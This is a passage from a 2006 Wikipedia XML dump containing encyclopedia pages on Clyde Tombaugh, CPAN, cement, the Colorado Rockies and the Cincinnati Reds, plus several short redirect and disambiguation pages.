[[zh:&amp;#32534;&amp;#35299;&amp;#30721;&amp;#22120;]]</text>
    </revision>
  </page>
  <page>
    <title>Childhood's End (disambiguation)</title>
    <id>6661</id>
    <revision>
      <id>37372068</id>
      <timestamp>2006-01-30T16:12:36Z</timestamp>
      <contributor>
        <username>RussBlau</username>
        <id>111074</id>
      </contributor>
      <comment>remove excess wikilinks per [[MOSDAB]]</comment>
      <text xml:space="preserve">'''Childhood's End''' is either:
# [[Childhood's End]], a science fiction novel by [[Arthur C. Clarke]]
# [[Childhood's End (Stargate Atlantis)]], an episode of the science fiction television series ''[[Stargate Atlantis]]''

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Clyde Tombaugh</title>
    <id>6663</id>
    <revision>
      <id>41942885</id>
      <timestamp>2006-03-02T20:05:33Z</timestamp>
      <contributor>
        <username>Gaius Cornelius</username>
        <id>293907</id>
      </contributor>
      <minor />
      <comment>Delete duplicate indefinite article using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">'''Clyde William Tombaugh''' ([[February 4]], [[1906]] – [[January 17]], [[1997]]) was an [[United States|American]] [[astronomer]] who discovered the planet [[Pluto (planet)|Pluto]] in [[1930]].

Tombaugh was born in [[Streator, Illinois|Streator]], [[La Salle County, Illinois]]. After his family moved to [[Burdett, Kansas]], Tombaugh built his first [[telescope]] and sent drawings of his observations of [[Jupiter (planet)|Jupiter]] and [[Mars (planet)|Mars]] to the Lowell Observatory. These resulted in a job offer. Tombaugh was employed at the Lowell Observatory from [[1929]] to [[1945]].  Following his discovery of Pluto, Tombaugh earned astronomy degrees from the [[University of Kansas]] and [[Northern Arizona University]]. He taught astronomy at [[New Mexico State University]] from [[1955]] until his retirement.

Tombaugh was an active [[Unitarian-Universalism|Unitarian-Universalist]].

The [[asteroid]] [[1604 Tombaugh]] [http://hamilton.dm.unipi.it/cgi-bin/astdys/astibo?objects:Tombaugh;main 1], discovered in [[1931]], is named after him.  He himself discovered 14 asteroids, beginning with [[2839 Annette]] in [[1929]], mostly as a by-product of his search for Pluto and his further searches for other planets. The [[Royal Astronomical Society]] awarded him the [[Jackson-Gwilt Medal]] in [[1931]].

Some of his ashes are carried on the [[New Horizons]] spacecraft which is travelling toward Pluto.

==Discovery of Pluto==
[[Image:Lowell astrograph.jpg|thumb|150px|Tombaugh created his photographic plates using this [[astrograph]].]]
While a young researcher working for [[Lowell Observatory]] in [[Flagstaff, Arizona]], Tombaugh found Pluto during a systematic search for a [[Trans-Neptunian object|trans-Neptunian]] planet (also called [[Planet X]]), which had been predicted by [[Percival Lowell]] and [[William Henry Pickering|William Pickering]]. 

Tombaugh's discovery involved painstaking use of a [[blink comparator]] to compare photographs of sections of sky taken several nights apart. Comparing the two images, a moving object such as a planet would appear to jump from one position to another, while the more distant objects such as stars would appear stationary. Tombaugh noticed such a moving object in his search, and subsequent observations showed it to be the planet we call Pluto. The discovery was made on [[February 18]], [[1930]], using images taken in January of the same year.

The name &quot;Pluto&quot; was suggested by [[Venetia Burney]], an 11-year-old English school girl who is still alive and living in [[England]]. It won out over numerous other suggestions partly because it was named after the [[Roman mythology|Roman]] [[Pluto (god)|god of the underworld]], who was able to render himself invisible, and partly because [[Percival Lowell]]'s initials PL formed the first 2 letters. The name Pluto was officially adopted on [[1 May]] [[1930]].

==Further search==
Tombaugh continued searching for some years after the discovery of Pluto, and the lack of further discoveries left him satisfied that no other object of a comparable [[stellar magnitude|magnitude]] existed near the [[ecliptic]].  No more Trans-Neptunian objects were discovered until {{mpl|(15760) 1992 QB|1}}, in [[1992]].

However, more recently the relatively bright object {{mpl|2005 FY|9}} has been discovered.  It has a relatively high orbital [[inclination]], but at the time of Tombaugh's discovery of Pluto, {{mp|2005 FY|9}} was only a few degrees from the ecliptic near the border of [[Taurus (constellation)|Taurus]] and [[Auriga (constellation)|Auriga]]. &lt;!-- based on Minor Planet Center online Minor Planet Ephemeris Service: [[March 1]] [[1930]]: RA 05h51m, Dec: +29.0 --&gt;  Unfortunately, this position was also very near the [[galactic equator]], making it almost impossible to find such an object within the dense concentration of background stars of the Milky Way.

==Asteroids discovered==
[[Image:Lowell blink comparator.jpg|thumb|150px|Tombaugh compared his photographic plates using this blink comparator.]]
Tombaugh discovered a total of 14 [[asteroids]], during his search for Pluto and years of follow-up searches looking for another candidate for the postulated Planet X.
{| border=&quot;1&quot; cellpadding=&quot;4&quot; align=&quot;center&quot; cellspacing=&quot;0&quot; style=&quot;background: #f9f9f9; border: 1px #aaa solid; border-collapse: collapse;&quot;
|+ Asteroids discovered by Tombaugh
|-
! Designation !! Discovery
|-
| [[2839 Annette]] || [[October 5]], [[1929]]
|-
| [[2941 Alden]] || [[December 24]], [[1930]]
|-
| [[3310 Patsy]] || [[October 9]], [[1931]]
|-
| [[3583 Burdett]] || [[October 5]], [[1929]]
|-
| [[3754 Kathleen]] || [[March 16]], [[1931]]
|-
| [[3775 Ellenbeth]] || [[October 6]], [[1931]]
|-
| [[3824 Brendalee]] || [[October 5]], [[1929]]
|-
| [[4510 Shawna]] || [[December 13]], [[1930]]
|-
| [[4755 Nicky]] || [[October 6]], [[1931]]
|-
| [[(5701) 1929 VS]] || [[October 26]], [[1929]]
|-
| [[(6618) 1936 SO]] || [[September 16]], [[1936]]
|-
| [[(7101) 1930 UX]] || [[October 17]], [[1930]]
|-
| {{mpl|(7150) 1929 TD|1}} || [[October 11]], [[1929]]
|-
| {{mpl|(8778) 1931 TD|3}} || [[October 10]], [[1931]]
|}

==Interest in UFOs==
Tombaugh was probably the most eminent astronomer to have reported seeing [[Unidentified Flying Object]]s and to support the [[Extraterrestrial hypothesis]].  On [[August 20]], [[1949]], Tombaugh saw several [[UFO]]s near [[Las Cruces, New Mexico]]. He described them as six to eight rectangular lights, stating &quot;I doubt that the phenomenon was any terrestrial reflection, because... nothing of the kind has ever appeared before or since... I was so unprepared for such a strange sight that I was really petrified with astonishment.&quot; [http://www.etcontact.net/researchers/detail107.htm]  A similar shocked response has been reported by many other who claim to have seen mysterious aerial objects.

Another sighting by Tombaugh a year or two later while at a White Sands observatory was of an object of -6 magnitude, four times brighter than Venus at its brightest, going from the zenith to the southern horizon in about 3 seconds.  The object executed the same maneuvers as in Tombaugh's first sighting. (Steiger, 280, reported by Hynek)

Tombaugh was also later to report having seen three of the mysterious [[Green Fireballs]], which suddenly appeared over New Mexico in late 1948 and continued at least through the early 1950s. [Despite this, the final report of [[Green Fireballs|Project Twinkle]] (see [[#External links|external link]]) claimed that he &quot;... never observed an unexplainable aerial object despite his continuous and extensive observations of the sky&quot;.)] In 1956 Tombaugh had the following to say about his various sightings:

&quot;I have seen three objects in the last seven years which defied any explanation of known phenomenon, such as Venus, atmospheric optic, meteors or planes. I am a professional, highly skilled, professional astronomer. In addition I have seen three green fireballs which were unusual in behavior from normal green fireballs...I think that several reputable scientists are being unscientific in refusing to entertain the possibility of [[extraterrestrial]] origin and nature.&quot; [http://virtuallystrange.net/ufo/updates/2004/sep/m20-022.shtml]  

Shortly after this in January 1957, in an [[Associated Press]] article in the ''Alamogordo Daily News'' titled &quot;Celestial Visitor's May Be Invading Earth's Atmosphere,&quot; Tombaugh was again quoted on his sightings and opinion about them.  &quot;'Although our own solar system is believed to support no other life than on Earth, other stars in the galaxy may have hundreds of thousands of habitable worlds.   Races on these worlds may have been able to utilize the tremendous amounts of power required to bridge the space between the stars' ...Tombaugh said he has observed celestial phenomena which he could not explain, but has seen none personally since 1951 or 1952.  'These things, which do appear to be directed, are unlike any other phenomena I ever observed,' Tombaugh said.  'Their apparent lack of obedience to the ordinary laws of celestial motion gives credence.'&quot;   (Clark, p. 896; Alamogordo ''News'' article)

In 1949, Tombaugh had also told the Naval missile director at [[White Sands Missile Range]], Commander Robert McLaughlin, that he had seen a bright flash on Mars in August 1941, which he now attributed to an atomic blast (mentioned [[May 12]] [[1949]], in a letter from McLaughlin to Dr. [[James van Allen]]). [http://www.roswellproof.com/McLaughlin_Van_Allen_letter.html]  Tombaugh also noted that the first atomic bomb tested in New Mexico would have lit up the dark side of the Earth like a neon sign and that Mars was coincidentally quite close at the time, the implication apparently being that the atomic test would have been visible from Mars.

In June 1952, Dr. [[J. Allen Hynek]], an astronomer acting as a scientific consultant to the Air Force's [[Project Blue Book]] UFO study, secretly conducted a survey of fellow astronomers on UFO sightings and attitudes while attending an astronomy convention. Tombaugh and four other astronomers told Hynek about their sightings, including Dr. Lincoln La Paz of the University of New Mexico.  Tombaugh also told Hynek that his telescopes were at the Air Force's disposal for taking photos of UFOs, if he was properly alerted. (Steiger, 268 - 285)

==Near-Earth satellite search==
[[Image:Tombaugh Lapaz 3 3 1954.jpg|thumb|right|240px|Clyde Tombaugh (left) discussing search for near-Earth satellites with Dr. Lincoln La Paz (right), [[3 March]] [[1954]].  Photo from Albuquerque ''Journal'']]
Tombaugh's offer may have led to his involvement in a search for near-Earth [[satellites]], first announced in late 1953 and sponsored by the Army Office of [[Ordnance]] Research.  Another public statement was made on the search in March 1954 (photo at right), emphasizing the rationale that such an orbiting object would serve as a natural [[space station]].  ([http://www.roswellproof.com/Satellites_LATimes_SciNL_1954.html articles])  However, according to [[Donald Keyhoe]], later director of the [[National Investigations Committee on Aerial Phenomena]] (NICAP), the real reason for the sudden search was because two near-Earth orbiting objects had been picked up on new long-range radar in the summer of 1953, according to a [[The Pentagon|Pentagon]] source of his.

By May 1954, Keyhoe was making public statements that his sources told him the search had indeed been successful, and either one or two objects had been found.  ([http://www.roswellproof.com/Satellites_Keyhoe_May1954.html articles])  However, the story didn't really break until [[August 23]] [[1954]], when [[Aviation Week]] magazine stated that two satellites had been found only 400 and 600 miles out.  They were termed &quot;natural satellites&quot; and implied that they had been recently captured, despite this being a virtual impossibility.  The next day, the story was in many major newspapers.  Dr. La Paz was implicated in the discovery in addition to Tombaugh.  La Paz had earlier conducted secret investigations on behalf of the Air Force on the [[Green Fireballs]] and other unidentified aerial phenomena over New Mexico.

La Paz vehemently denied his involvement in the search, although the [[New York Times]] reported on [[August 29]] that a source close to the project said that the story was true and La Paz was indeed involved, in fact had been the one to spot and identify the objects as natural rather than artificial satellites.  The same source denied the search had anything to do with [[flying saucers]].  ([http://www.roswellproof.com/Satellites_NYTIMES_1954.html N.Y. Times articles])

However, both La Paz and Tombaugh were to issue public denials that anything had been found.  E.g., the May 1955 issue of [[Popular Mechanics]] magazine reported: &quot;Professor Tombaugh is closemouthed about his results.  He won't say whether or not any small natural satellites have been discovered.  He does say, however, that newspaper reports of 18 months ago announcing the discovery of natural satellites at 400 and 600 miles out are not correct.  He adds that there is no connection between the search program and the reports of so-called flying saucers.&quot;  ([http://www.roswellproof.com/Satellites_PopMech_Oct55.html Popular Mechanics article with photo])

At a meteor conference in Los Angeles in 1957, Tombaugh reiterated that his four year search for &quot;natural satellites&quot; had been unsuccessful. (Los Angeles ''Times'', [[4 September]] [[1957]])  In 1959 Tombaugh was to issue a final report stating that nothing had been found in his search.

==Sources==
* Steiger, Brad, ''Project Blue Book'', 1976, Ballantine Books, ISBN 0-345-34525-8 (Has Dr. [[J. Allen Hynek]]'s 1952 letter to [[Project Blue Book]] about his astronomer UFO survey and Tombaugh's offer to assist the Air Force in photographing UFOs)
* Clark, Jerry, ''UFO Encyclopedia: Volume 2'', 1997

==Further reading==
* Falk, Dan, &quot;More than a one-hit wonder&quot;, ''Astronomy'', Feb. 2006, 40-45.
* ''Clyde Tombaugh: Discoverer of Planet Pluto'', David H. Levy, Sky Publishing Corporation, March 2006

==External links==                                                                                      
* [http://www.astro.uni-bonn.de/~pbrosche/persons/pers_t.html Many biographical articles on Clyde Tombaugh]
* [http://www.ufo.se/ufofiles/issue_4/astro_uk.html Quote from Tombaugh on UFOs]
* [http://www.roswellproof.com/ramey_and_ufos.html UFO activities of Tombaugh]
* [http://www.scientificexploration.org/jse/articles/pdf/13.4_swords.pdf Academic paper on Tombaugh's UFO activities and near-earth satellite search]
* [http://www.project1947.com/gfb/twinklereport.htm Final report of Project Twinkle]

[[Category:1906 births|Tombaugh, Clyde]]
[[Category:1997 deaths|Tombaugh, Clyde]]
[[Category:American astronomers|Tombaugh, Clyde]]
[[Category:Asteroid discoverers|Tombaugh, Clyde]]
[[Category:People buried in space|Tombaugh, Clyde]]
[[Category:Planetary scientists|Tombaugh, Clyde]]
[[Category:Pluto|Tombaugh, Clyde]]

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[[zh:克莱德·汤博]]</text>
    </revision>
  </page>
  <page>
    <title>Crusades</title>
    <id>6665</id>
    <revision>
      <id>34439609</id>
      <timestamp>2006-01-09T02:08:25Z</timestamp>
      <contributor>
        <username>Adam Bishop</username>
        <id>13008</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/Member|Member]] ([[User talk:Member|talk]]) to last version by Conversion script</comment>
      <text xml:space="preserve">#REDIRECT [[Crusade]]</text>
    </revision>
  </page>
  <page>
    <title>Christopher Báthory</title>
    <id>6666</id>
    <revision>
      <id>26449623</id>
      <timestamp>2005-10-25T15:45:10Z</timestamp>
      <contributor>
        <ip>217.158.132.11</ip>
      </contributor>
      <comment>edit stub tag</comment>
      <text xml:space="preserve">'''Christopher Bathory''' ([[1530]]-[[1581]]) was a [[prince]] of [[Transylvania]]. He succeeded his brother [[Stephen Bathory, King of Poland|Stephen Bathory]]. He was the father of [[Sigismund Bathory]].

{{euro-noble-stub}}

[[Category:1530 births|Bathory, Christopher]]
[[Category:1581 deaths|Bathory, Christopher]]
[[Category:Báthory]]
[[hu:Báthory Kristóf]]</text>
    </revision>
  </page>
  <page>
    <title>CPAN</title>
    <id>6667</id>
    <revision>
      <id>40461082</id>
      <timestamp>2006-02-20T18:54:29Z</timestamp>
      <contributor>
        <username>Toreau</username>
        <id>20188</id>
      </contributor>
      <minor />
      <comment>+no</comment>
      <text xml:space="preserve">'''CPAN''' is an [[acronym]] standing for '''Comprehensive Perl Archive Network'''.  It is a large archive of software written in [[Perl]], as well as documentation for it.  It has a presence on the [[World Wide Web]] at [http://www.cpan.org/ www.cpan.org] and is [[mirrored]] worldwide.

==Modules==

Like many [[programming languages]], Perl has mechanisms to use external [[libraries]] of code, allowing a single file to contain common routines used by several programs.  Perl calls these '''modules'''.  [[Perl module]]s are typically installed in one of several [[directory|directories]] whose [[path (computing)|paths]] are placed in the Perl [[interpreter]] when it is first [[compiled]]; on [[Unix]]-like [[operating systems]], common paths include ''/usr/lib/perl5'', ''/usr/local/lib/perl5'', and several of their subdirectories.

Perl comes with a small set of '''core modules'''.  Some of these perform esoteric tasks, such as [[ExtUtils::MakeMaker]], which is used for compiling extension modules; others, like [[CGI.pm]], are merely commonly-used.  The authors of Perl don't expect this limited group to meet every need, however.

==The CPAN's role==

The CPAN's main purpose is to help programmers easily locate modules and scripts not included in the Perl standard distribution.  It is also used to distribute new versions of Perl, as well as related projects, such as [[Parrot virtual machine|Parrot]].

The CPAN is an important resource for the professional Perl programmer.  The nearly 9,000 modules (as of this writing) on it can save a programmer weeks of effort.  Some of them, such as the [[Perl DBI|DBI]] family of modules used for interfacing with [[SQL]] [[databases]], are nearly irreplaceable in their area of functionality; others, such as the [[List::Util]] module, are simply handy resources containing a few common functions.

==CPAN structure==

Files on the CPAN are referred to as '''distributions'''.  A distribution may consist of one or more modules, documentation files, or scripts packaged in a common archiving format, such as a [[gzip]]ped [[tar file format|tar]] archive or a [[PKWARE]] [[ZIP file format|ZIP]] file.  Distributions will often contain installation scripts (usually called ''Makefile.PL'' or ''Build.PL'') and test scripts which can be run to verify the contents of the distribution are functioning properly.

In 2003 distributions started to include metadata files, called ''META.yml'', indicating the distribution's name, version, dependencies, and other useful information; however, not all distributions contain metadata.  When metadata is not present in a distribution, the PAUSE's software will usually try to analyze the code in the distribution to look for the same information; this is not necessarily very reliable.  (See the [[#Uploading Distributions with PAUSE|Uploading Distributions with PAUSE]] section for more.)

With thousands of distributions, CPAN needs to be structured to be useful.  Distributions on the CPAN are divided into 24 broad '''chapters''' based on their purpose, such as ''[[Internationalization]] and [[Locale]]''; ''[[Archiving]], [[Compression]], And [[Conversion]]''; and ''[[Mail]] and [[Usenet]] News''.  Distributions can also be browsed by author.  Finally, the natural hierarchy of Perl module names (such as [[Apache::DBI]] or [[Lingua::EN::Inflect]]) can sometimes be used to browse modules in the CPAN.

CPAN module distributions usually have names in the form of ''CGI-Application-3.1'' (where the '''::''' used in the module's name has been replaced with a dash, and the version number has been appended to the name), but this is only a convention; many prominent distributions break the convention, especially those that contain multiple modules.  Security restrictions prevent a distribution from ever being replaced, so virtually all distribution names do include a version number.

==Components of CPAN==

===The CPAN mirrors===

The heart of the CPAN is its worldwide network of mirrors.  The CPAN master site, ftp.funet.fi, has over 250 public mirrors in 60 countries.  Each site has a copy of the over 2.5 [[gigabytes]] of data in the CPAN.

Most mirrors update themselves daily from the CPAN master site.  Some update two times a day or even hourly, and a few update from other mirrors.  Some sites are major FTP servers which mirror lots of other software, but others are simply servers owned by companies that use Perl heavily.  There are at least five mirrors on every continent except Antarctica.

For more information on CPAN mirrors, see [http://mirrors.cpan.org/ mirrors.cpan.org].

===Search engines===

Several search engines have been written to help Perl programmers sort through the CPAN.  The most popular is probably [http://search.cpan.org/ search.cpan.org], which includes textual search, a browsable index of modules, and extracted copies of all distributions currently on the CPAN. Another popular search engine is [http://cpan.uwinnipeg.ca/htdocs/faqs/cpan-search.html cpan.uwinnipeg.ca].

===Other supporting websites===

There's a whole family of loosely integrated CPAN support websites: 
[http://cpanratings.perl.org CPANRatings] allows users to write short reviews and rate modules 
on a 5-star scale; [http://cpanforum.com CPAN::Forum] is a discussion forum where threads are 
classified by CPAN distribution; [http://annocpan.org AnnoCPAN] displays the documentation for 
all the modules on CPAN, along with user-contributed annotations; [http://rt.cpan.org rt.cpan.org] 
is a request tracker for bugs and features; [http://testers.cpan.org/ CPAN Testers] collects
testing results for all CPAN uploads on various platforms; and [http://cpants.dev.zsi.at/ CPANTS], the CPAN Testing Service, evaluates distributions automatically for quality assurance purposes and assigns them a &quot;[[kwalitee]]&quot; rating.

===CPAN.pm and CPANPLUS===

There is also a Perl core module named CPAN; it's usually differentiated from the repository itself by calling it [[CPAN.pm]].  CPAN.pm is mainly an interactive shell which can be used to search for, download, and install distributions.  &lt;tt&gt;perl -MCPAN -e shell&lt;/tt&gt; is the usual way of running CPAN.pm. After a short configuration process and mirror selection, it uses tools available on the user's computer to automatically download, unpack, compile, test, and install modules.  It is even capable of updating itself.

Recently an effort to replace CPAN.pm with something cleaner and more modern has resulted in the [[CPANPLUS]] or CPAN++ set of modules.  CPANPLUS more cleanly separates the back-end work of downloading, compiling, and installing modules from the interactive shell used to issue commands.  It also supports several advanced features, such as cryptographic signature checking and test result reporting.  Finally, CPANPLUS can uninstall a distribution.  CPANPLUS is expected to replace CPAN.pm in the core distribution in Perl 5.10.

Both modules can check a distribution's [[dependencies]] and are capable of automatically (or with the user's approval) installing any [[prerequisite]]s.  Both support FTP and HTTP and can work through firewalls and proxies.

===Uploading distributions with PAUSE===

Authors can upload new distributions to the CPAN through the '''Perl Authors Upload Server''' ('''PAUSE''').  To do so, they must register for a PAUSE account.  PAUSE accounts have a 3-9 character username consisting of uppercase letters only--no numbers, no lowercase, no punctuation.  They also give their full name in their native language, an e-mail address, an optional web address, and a &quot;short description of what [they]'re planning to contribute&quot; to the CPAN.

Registration is not immediate, and typically takes a week.

Once registered, the new PAUSE account has a directory in the CPAN under ''authors/id/(first letter)/(first two letters)/(author ID)''.  They may use a Web interface to upload files to their directory and delete them.  The PAUSE will warn an administrator if a user uploads a module that already exists, unless they are listed as a '''co-maintainer'''.  This can be specified through PAUSE's web interface.

==The CPAN's significance to Perl==

Experienced Perl programmers often comment that half of Perl's power is in the CPAN.  Though the [[TeX]] typesetting language has an equivalent, the [[CTAN]] (and in fact the CPAN's name is based on the CTAN), few languages have an exhaustive central repository for libraries.  The [[PHP]] language has [[PECL]] (PHP Extension Community Library) and [[PHP Extension and Application Repository|PEAR]] (PHP Extension and Application Repository), and [[Python programming language|Python]] has a [[PyPI]] (Python Package Index) repository, but neither is as large or active as the CPAN.  Other major languages, such as [[Java programming language|Java]] and [[C++]], do not have anything even resembling the CPAN.

The CPAN's influence on Perl's eclectic culture should not be underestimated either.  As a hive of activity in the Perl world, the CPAN both shapes and is shaped by Perl culture.  Its &quot;self-appointed master librarian&quot;, [[Jarkko Hietaniemi]], often takes part in the [[April Fools Day]] jokes so popular on the Internet; on [[1 April]] [[2002]] the site was temporarily named to '''CJAN''', where the &quot;J&quot; stood for &quot;Java&quot;.  In 2003, the [http://www.cpan.org www.cpan.org] domain name was redirected to [[Matt's Script Archive]], a site infamous in the Perl community for having badly-written code.

Beyond April Fools', however, some of the distributions on the CPAN are jokes in themselves.  The [[Acme::]] hierarchy is reserved for joke modules; for instance, [[Acme::Don't]] adds a &lt;code&gt;don't&lt;/code&gt; function that doesn't run the code given to it (to complement the &lt;code&gt;do&lt;/code&gt; built-in, which does).  Even outside the Acme:: hierarchy, some modules are still written largely for amusement; one example is [[Lingua::Romana::Perligata]], which can be used to write Perl programs in a subset of Latin.

==See also==
*[[CRAN]]
*[[CTAN]]

[[Category:Perl]]

[[de:CPAN]]
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[[zh:CPAN]]</text>
    </revision>
  </page>
  <page>
    <title>Chocolate mousse</title>
    <id>6668</id>
    <revision>
      <id>15904791</id>
      <timestamp>2005-05-21T19:15:09Z</timestamp>
      <contributor>
        <username>Vegaswikian</username>
        <id>214427</id>
      </contributor>
      <comment>redirect per VfD.  Recipe was in wiki books and was not included in the VfD version but was added when the VfD header was removed so this was not nerged</comment>
      <text xml:space="preserve">#REDIRECT [[Mousse]]</text>
    </revision>
  </page>
  <page>
    <title>Colorado Rockies</title>
    <id>6669</id>
    <revision>
      <id>40562317</id>
      <timestamp>2006-02-21T13:09:22Z</timestamp>
      <contributor>
        <username>Catapult</username>
        <id>792235</id>
      </contributor>
      <minor />
      <comment>[[Wikipedia:Categories for deletion/Log/2006 February 9|CFD]]: renaming category[[user:freakofnurture|...]]</comment>
      <text xml:space="preserve">:''This is an article about the baseball team.  For the [[National Hockey League]] Rockies team ([[1976]]-[[1982]]), see [[Colorado Rockies (NHL)|Colorado Rockies]]''

----

{{MLB infobox Rockies}}

The '''Colorado Rockies''' are a [[Major League Baseball]] team based in [[Denver, Colorado]]. They are in the Western Division of the [[National League]].  The team is named after the [[Rocky Mountains]] which pass through Colorado.

== Franchise history ==
The Colorado Rockies joined the National League as an expansion franchise in 1993, along with the [[Florida Marlins]]. Their first pick in the expansion draft was pitcher [[David Nied]] from the [[Atlanta Braves]] organization. Nied pitched 4 seasons for the Rockies. The team's first home at-bat was a memorable one, as lead off batter [[Eric Young]] hit a [[home run]] for the Rockies.

The team set attendance records in its days back at [[Mile High Stadium]], and was the second team ([[Toronto Blue Jays|Toronto]] was first in 1991) in the history of [[Major League Baseball]] to record over 4,000,000 fans in annual attendance. The 1993 Rockies still have the largest ever season attendance, with 4,483,350, and the team led the National League in attendance every year from 1993 to 1999.

In 1995, the Rockies moved into a new stadium, [[Coors Field]], where they have played their home games ever since.  That year, they made their first and, to date, only post-season appearance as the [[National League]] Wild Card team where they lost in the first round of the playoffs to the [[Atlanta Braves]].

In 1996, the team had three players who hit at least 40 home runs each, [[Andres Galarraga]] with 47, and [[Ellis Burks]] and [[Vinny Castilla]] with 40 each. [[Dante Bichette]] added 31.

Since their inception, the Rockies have always tended to have a strong hitting squad and home record, which are offset by a weak [[bullpen]] and road record. This can be attributed to the conditions of [[Coors Field]], whose thin air (due to the high altitude of Denver) makes hitting much easier, as the ball travels farther, and pitching more difficult, as the reduced air resistance makes breaking balls less effective than at sea level.

In 2001, the team signed top pitchers [[Mike Hampton]] to an 8 year, $121 million contract and [[Denny Neagle]] to a 5 year, $51 million contract to see if they could turn around the team's fortunes. However, the two went a combined 23-21 that season and Hampton was traded the next year after going 7-15. Neagle was granted free agency in 2004 after compiling a 19-23 record with the team. The experiment with the two pitchers was generally considered to be a disaster. 

The Rockies have had a number of well-known players throughout the years, including [[Todd Helton]], who came up through the club's farm system, Andres Gallarraga, Ellis Burks, [[Larry Walker]], Andy Ashby, [[Darryl Kile]], Dante Bichette, Mike Hampton, [[Preston Wilson]], and [[Vinny Castilla]].

==Quick facts==
:'''Founded:''' [[1991]] 
:'''Began play:''' [[1993]] ([[National League]] expansion)
:'''Uniform colors:''' Black, Silver, Purple, and White
:'''Logo design:''' Purple mountain with baseball
:'''Playoff appearances''' (1): [[1995]]

==[[Baseball Hall of Fame]]rs==
*''none''

==Current roster==
{{:Colorado Rockies roster}}

==Minor league affiliations==
* '''AAA:''' [[Colorado Springs Sky Sox]], [[Pacific Coast League]]
* '''AA:''' [[Tulsa Drillers]], [[Texas League]]
* '''Advanced A:''' [[Modesto Nuts]], [[California League]]
* '''A:''' [[Asheville Tourists]], [[South Atlantic League]]
* '''Short A:''' [[Tri-City Dust Devils]], [[Northwest League]]
* '''Rookie:''' [[Casper Rockies]], [[Pioneer League]]
* '''Rookie:''' [[VSL Rockies]], [[Venezuelan Summer League]]

==See also==
*[[Colorado Rockies/Award winners and league leaders|Rockies award winners and league leaders]]
*[[Colorado Rockies/Team records|Rockies statistical records and milestone achievements]]
*[[Colorado Rockies/Players of note|Rockies players of note]]
*[[Colorado Rockies/Broadcasters|Rockies broadcasters and media]]
*[[Colorado Rockies/Managers and ownership|Rockies managers and ownership]]

==External links==
*[http://www.coloradorockies.com/ Colorado Rockies official web site]
*[http://msn.foxsports.com/other/story/5265080 These 10 are absolute wrecks of an exec - Dan O'Dowd, general manager, Colorado Rockies]

{{MLB Team Colorado Rockies}}
{{MLB}}

[[Category:Colorado Rockies| ]]
[[Category:Sports in Denver, Colorado|Rockies]]
[[Category:Major League Baseball teams]]

http://msn.foxsports.com/other/story/5265080

[[de:Colorado Rockies]]
[[fr:Rockies du Colorado]]
[[ja:コロラド・ロッキーズ]]
[[pt:Colorado Rockies]]
[[sv:Colorado Rockies]]
[[zh:科羅拉多落磯]]</text>
    </revision>
  </page>
  <page>
    <title>Cement</title>
    <id>6670</id>
    <revision>
      <id>41922717</id>
      <timestamp>2006-03-02T17:18:09Z</timestamp>
      <contributor>
        <username>Narsamson</username>
        <id>350112</id>
      </contributor>
      <comment>Disambiguation link repair ([[Wikipedia:Disambiguation pages with links|You can help!]])</comment>
      <text xml:space="preserve">{{otheruses}}

'''Cement''' is a material for bonding [[rock (geology)|stone]] or [[brick]]. The term ''cement'' is most commonly used to refer more specifically to powdered materials which develop strong adhesive qualities when combined with [[water]]. These materials are more properly known as hydraulic cements.  Hydraulic [[limestone|limes]], natural [[pozzolana]] and [[Portland cement]]s are the more common hydraulic cements, with portland cement being the most important in construction. [[Gypsum]] [[plaster]] and common [[calcium oxide|lime]] are not hydraulic cements. Cement is an important ingredient in [[concrete]]. 

==History==
[[Image:BlueCircleSouthernCementBerrimaNSW.JPG|thumb|Blue Circle Southern Cement works near [[Berrima, New South Wales|Berrima]], [[New South Wales]], [[Australia]]. The company is a member of the [[Boral|Boral Group of Companies]].]]

[[Hydraulic cement]] was first invented by the [[Egypt]]ians, and later reinvented by the [[Ancient Greece|Greeks]] and [[Babylon]]ians, who made their [[mortar (masonry)|mortar]] out of lime, much harder than the [[Ancient Rome|Roman]] mortars. Later, the Romans produced a good cement from [[pozzolanic ash]].

Other civilizations that had a similar mold to cement were the Aztecs[http://en.wikipedia.org/wiki/Aztecs]

[[Portland cement]] was patented in [[England]] by [[Joseph Aspdin]] in [[1824]].

==Geology==
In [[geology]], the term is used to refer to the fine-grained minerals which bind the coarser-grained ''matrix'' in [[sedimentary rock]]s.  Such cements are typically composed of [[calcite]], [[quartz]] or [[clay]] minerals.

==See also==
*[[Cement chemist notation]]
*[[Portland cement]]
*[[Silo cleaning]] and health and safety issues.
*[[Acoustic cleaning]] a safe and non invasive method for cleaning cement [[Silo]]s.

==External link==
*[http://www.primasonics.com/acoustic_cleaners_cement_applications.htm Acoustic cleaners for the cement and gypsum industries]



[[Category:Concrete]]

[[bg:&amp;#1062;&amp;#1080;&amp;#1084;&amp;#1077;&amp;#1085;&amp;#1090;]]
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[[eo:Cemento]]
[[fr:ciment]]
[[id:Semen]]
[[lt:cementas]]
[[hr:Cement]]
[[nl:cement]]
[[no:sement]]
[[ja:&amp;#12475;&amp;#12513;&amp;#12531;&amp;#12488;]]
[[pl:Cement]]
[[pt:cimento]]
[[sv:Cement]]
[[zh:&amp;#27700;&amp;#27877;]]</text>
    </revision>
  </page>
  <page>
    <title>Cincinnati Reds</title>
    <id>6671</id>
    <revision>
      <id>42159595</id>
      <timestamp>2006-03-04T05:23:06Z</timestamp>
      <contributor>
        <username>Cfortunato</username>
        <id>220877</id>
      </contributor>
      <comment>81 games, according to the Reds website (http://cincinnati.reds.mlb.com/NASApp/mlb/cin/history/timeline1.jsp)</comment>
      <text xml:space="preserve">{{MLB infobox Reds}}

The '''Cincinnati Reds''' are a [[Major League Baseball]] team based in [[Cincinnati, Ohio]].  They are in the Central Division of the [[National League]].

== Franchise history ==
===The beginning===
The original Cincinnati Red Stockings, baseball's first openly all-professional team, were founded in [[1867]], turning professional in [[1869 in sports|1869]]. The Red Stockings won 81 games in a row between 1869 &amp; [[1870]], before the [[Brooklyn Atlantics]] defeated them. Early stars for the Red Stockings included the Wrights, George and Harry. (In 1871, Harry Wright took most of his best players to Boston, and founded the Boston Red Stockings, now known as the [[Atlanta Braves]].) The Red Stockings disbanded after the [[1870]] season, but reconstituted to become a charter member of the [[National League]] in [[1876]].  The team was expelled from the league after the [[1880]] season, in part for violating league rules by serving beer to fans at games.

